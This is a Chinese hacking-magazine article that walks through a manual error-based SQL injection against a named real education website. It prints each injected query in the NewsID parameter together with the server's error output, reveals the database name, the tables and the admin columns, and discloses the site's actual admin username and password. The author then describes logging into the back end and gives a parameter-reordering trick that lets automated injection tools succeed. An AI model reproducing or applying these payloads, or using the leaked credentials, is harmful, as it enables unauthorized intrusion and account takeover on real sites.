插入式注入搞定黑龙江教育在线

随着SQL注入工具的增加,通过注入被入侵的网站多了,那些明显存在注入漏洞的网站也越来越少。勇哥儿最近搞了个搜索型注入,算是为大家开了一个新战场。可那些用工具找不出漏洞的网站,就真的安全吗?其实你找到突破点就会发现,他们的安全性其实更差!我今天就来谈谈混合型数据的SQL注入问题。
先看这样一个网站:
黑龙江教育在线:
http://www.hljedu.net/gaokao/ReadNews.asp?NewsID=3255’&BigClassName=&BigClassID=21&SmallClassID=42&SpecialID=0
这里面一长串数据,习惯性在后面加个“’”,正常显示,加上“and 1=2”上去也正常显示。
试着在Newsid=3255后面插入“’”,结果报错。
“Microsoft OLE DB Provider for SQL Server 错误 ‘80040e14’
字符串 ” 之前有未闭合的引号。
/gaokao/ReadNews.asp,行13 “
明显存在注入漏洞,还是SQL数据库!我一下来了兴趣。因为如果是SA权限的话,可以行系统命令哦。拿出小明子最新工具旁注3.2来进行注入,结果大失所望,提示无法注入。
试了NBSI2,HDSI等多个注入工具,都无法注入。试了一下,在其它几个参数后加入任何注入语句,均正常返回没有反应,所以关键数据只有一项。于是,试着将后面的参数去掉,变成www.hljedu.net/gaokao/ReadNews.asp?NewsID=3255这样的语句,但仍不行,去掉后网站跟本无法访问。可见其它几项也得与之相匹配。
分析了一下,上面这类网址的ASP?后面跟有多项数据,各项数据类型也不完全相同,有的是数字型,有的则是字符型等,混合在一起。比如:www.nhyz.org/ReadNews.asp?NewsID=7235&bigclassname1=新闻中心&bigclassname=教育信息&smallclassname=教育新闻
我把这种参数合用的情形,暂时称为混合型数据,而能加入注入语句的往往在第一个,也就是注入数据只能在中间插入,我称之为插入式注入。目前的工具都无法在中间插入注入语句。其实,在编程上是容易实现的,将网址从中间分开,把后面一部分作为不变的一个附加数据附在注入语句后面就可以了。但没有一个工具考虑到这一点,看来大家对这类混合型数据的注入还没有注意。既然工具不行,我就还是象以前一样用手工注入吧。先看看权限如何?在中间插入注入语句:
Newsid=3255 and and user>0
提交后暴出了如下提示
将 nvarchar 值 ‘web113483’ 转换为数据类型为 int 的列时发生语法错误。意思是当前用户的名字是“web113483”,看来只是一个普通权限的用户DB_OWNER。

如果暴出的是“将“dbo”转换成int的列发生错误”,则表示当前数据库用户是SA,那权限就相当大了。顺便说一下,我最先发现的一个就是一个SA权限的网站,但我怕公布。这个网站是我特意找来的。呵呵。
Mssql数据库的好处就是,不用一个个的猜,可以直接暴出你想要的东东,这里正好复习一下SQL注入的相关语句。
下面就是来暴出数据库了。在Newsid=3255后面插入“and db_name()>0”,提交后得到如下结果:
Microsoft OLE DB Provider for SQL Server 错误 ‘80040e07’
将 nvarchar 值 ‘www_hljedu_net’ 转换为数据类型为 int 的列时发生语法错误。
/gaokao/ReadNews.asp,行13
呵呵,数据库是www_hljedu_net,要是猜够你猜的了。
接下来当然是暴表了:
在在Newsid=3255后面插入 “and (select top 1 name from www_hljedu_net.dbo.sysobjects where xtype=’U’ and status>0)>0”
得到如下结果:
将 nvarchar 值 ‘ReView’ 转换为数据类型为 int 的列时发生语法错误。
这样就暴出了第一个表:ReView。接下来插入“and (select top 1 name from www_hljedu_net.dbo.sysobjects where xtype=’U’ and status>0 and name not in(‘ReView’))>0”
就得到了第二个表“admin”:将 nvarchar 值 ‘Admin’ 转换为数据类型为 int 的列时发生语法错误。
依次将得到的表名加入name not in(‘ReView’,’admin’)中,可以得到所有的表,当然我们的目标是找管理员,找到了admin就够了。其实还有一种猜的办法,插入“and (selec count(*) from admin)>0”正常返回表示有admin,表。同Access猜表一样。这样就不用一个个暴表。但猜不中时就得暴表了。下面我就用猜的办法试试,插入:and (select count(username) from admin)>0 结果提示出错:“列名 ‘username’ 无效。”看来猜并不好猜,所以能暴当然要暴了。
插入语句“and (select top 1 col_name(object_id(‘admin’),1) from admin)>0”,提交后,暴出第一个字段名为“ID”。
然后将括号中的1换成2,插入语句“and (select top 1 col_name(object_id(‘admin’),2) from admin)>0”,提交后得到如下结果:
将 nvarchar 值 ‘AdminUID’ 转换为数据类型为 int 的列时发生语法错误。
同样也得到“AdminPWD”。
如果前面表名字段名因常见可以猜的话,现在要猜用户名和密码就要难得多。因为没有通用的。所以能用暴值法那是一定要用的。
先猜用户名:
插入注入语句:and (select top 1 AdminUID from admin)>0,提交后轻易就暴出了管理员的名字:hljedu。将 nvarchar 值 ‘hljedu’ 转换为数据类型为 int 的列时发生语法错误。
将上面语句中的AdminUID换成AdminPWD,变成and (select top 1 AdminPWD from admin)>0,插入网址中注入后得到密码:hljeduwrp
到此,我们的所有的猜解工作完成了。可以去登陆后台了。什么?你说不知道后台在哪?那这半天工作不是白做了!有不少人光顾搞注入,结果得到密码后才发现找不到后台,英雄无用武之地。我的习惯是一定要先找到后台再才进行注入的。不然有时就是白忙活了。
这个网站的后台最好找了,直接加个admin就出来了。看,我已经进入后台了。
其实,文章到这里应该就完了,手工操作复习了一次SQL的注入技巧。但我仍不甘心,想自己何不编一个可以插入式注入的工具呢。在分析网址特点的时候,突然想到,这些参数是用于查询的,应该是没有严格的先后顺序的,能不能把次序倒一下呢?理论上应该是可行的。成不成得经过测试才能证明。结果倒了顺序后仍能正常访问,而且带来一个最大的好处,注入工具提标可以注入了,使用明小子的工具很快就找出了管理员密码。
唉,早知道这样,何必劳我动手累半天哦。但也引起我的担心,就是网上这样的注入漏洞站太多了,而且多是政府网站和新闻网站,我犹豫了一个月,才动手写作。这个网站也是我选择后现抓的图。

作者: 越南邻国首相
来 源: 《黑客防线》